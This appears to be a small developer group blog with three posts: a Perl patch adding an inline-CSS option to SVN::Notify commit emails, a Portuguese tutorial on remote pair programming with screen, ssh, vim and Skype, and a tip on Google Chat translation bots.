SVN::Notify::HTML::ColorDiff modification
We are using SVN to save our works and hooking a post-commit script which one of the function is to send e-mail regarding the changes that had just made. We are using the wonderful SVN::Notify, a perl application to do the job. It already have the functionality to produce a beautifully diff colored HTML email using the SVN::Notify::HTML::ColorDiff module as the handler.
However, since we are using web based Google Apps Gmail interface as our email client, the HTML was not rendered nicely because the CSS is not applied inside the interface. We need to change the CSS to the inline style. And then I found a patch done here. Because it is a direct hack, I want it to be more generic that the user can choose the inline style or not, then I modified a little bit more. I added optional parameter --css-inline to generate CSS style directly inline with the HTML tags. I had submitted the changes to the original author hoping he will include this option in the next revision. Just in case, I also put it here.
Snippets to add the additional parameter:
package SVN::Notify::HTML; # $Id: HTML.pm 4617 2009-03-19 17:04:53Z david $ use strict; use HTML::Entities; use SVN::Notify (); $SVN::Notify::HTML::VERSION = '2.79'; @SVN::Notify::HTML::ISA = qw(SVN::Notify); __PACKAGE__->register_attributes( linkize => 'linkize', css_url => 'css-url=s', wrap_log => 'wrap-log', css_inline => 'css-inline', );

Screen and Vim (and Skype) for Remote Pair Programming
I don't know if everybody follows VoiceTechnology Google Group:
http://www.linux.com/archive/feature/56443
Original Post:
2009/10/17 Fabrício
Sent to you by Fabrício via Google Reader:
Bem, é notável o crescimento das metodologias ágeis de desenvolvimento de software. Uma das práticas que me agrada muito, é a programação em pares (pair programming). É bem perceptível, a um longo prazo, a diferença que faz essa prática. Navegando pela internet, como um marujo sem rumo, encontrei um post falando sobre Remote Pair Programming. Parece meio estranho, porque o XP (eXtreme Programming) faz alusão a uma dupla programar em um único computador, com um único teclado e um único mouse.
Então, vamos tentar simular este ambiente utilizando 4 ferramentas simples:
- screen
- ssh
- vim
- skype
Destas, só o skype não é open-source. Mas é interessante manter uma conversa verbal, pois conversas escritas podem desviar o foco da programação, que é bem mais rápida e precisa do que a escrita, que pode deixar brechas para má interpretações. A conversa verbal consegue interromper o programador ao mesmo tempo em que escreve, corrigindo-o ou questionando-o.
Conectados no skype, basta decidir em qual máquina será o desenvolvimento. Esta, por sua vez, terá que ter um servidor ssh. Ela será o host da programação. Será necessário, também, nesta máquina, ter instalado o screen, que é um programa que possibilita criar ’sessões’ no terminal.
Host
screen -S PairProgramming
Parece que nada mudou, mas você está numa sessão do screen chamada PairProgramming.
Precione CTRL+a e digite:
:multiuser on
Pressione CTRL+a novamente e digite:
:acladd usuarioclient
Tudo que você ver nesta sessão, será visto pelo outro usuário (usuarioclient) que se conectará nela.
Então, abra o vim, pois será necessário um edito de textos de verdade , e se divirta:
vim /caminho/arquivo
Client
ssh usuarioclient@host
screen -x usuariohost/PairProgramming
Pronto! Agora você está acessando a mesma seção! Tudo que o usuáriohost fizer, o usuárioclient enxergará e vice-versa.
Agora, basta descutir a tarefa via Skype e programar. As atualizações são em tempo real, ou seja, aparecem ao mesmo tempo que são escritos, digo… depende da conexão, mas não é um grande problema.
Caso seja necessário que o usuarioclient não possa modificar o código, apenas assitir e dar pitacos, o usuáriohost deve pressionar CTRL+A e digitar:
:aclchg usuarioclient -w #
Eu ainda vou programar assim, depois digo a experiência.

Using google chat translator bots in group
Well, this is not related to programming but our fellow Bruno told me to put here and I can finally be out of the list of persons that never put something here!
In google chat, there are "bots" that you can invite, like below:
The interesting trick is that you can invite them in a group chat, and
making them work as a real time translators.
This is very useful for example when 2 persons of different native languages
need to chat using english.
If a japanese and a brazilian need to chat, you can call en2ja@ and ja2en@ and
form a group chat of 4. The japanese guy can write in japanese and the brazilian guy can
write in english.
Of course, the translation is not perfect, but it helps.
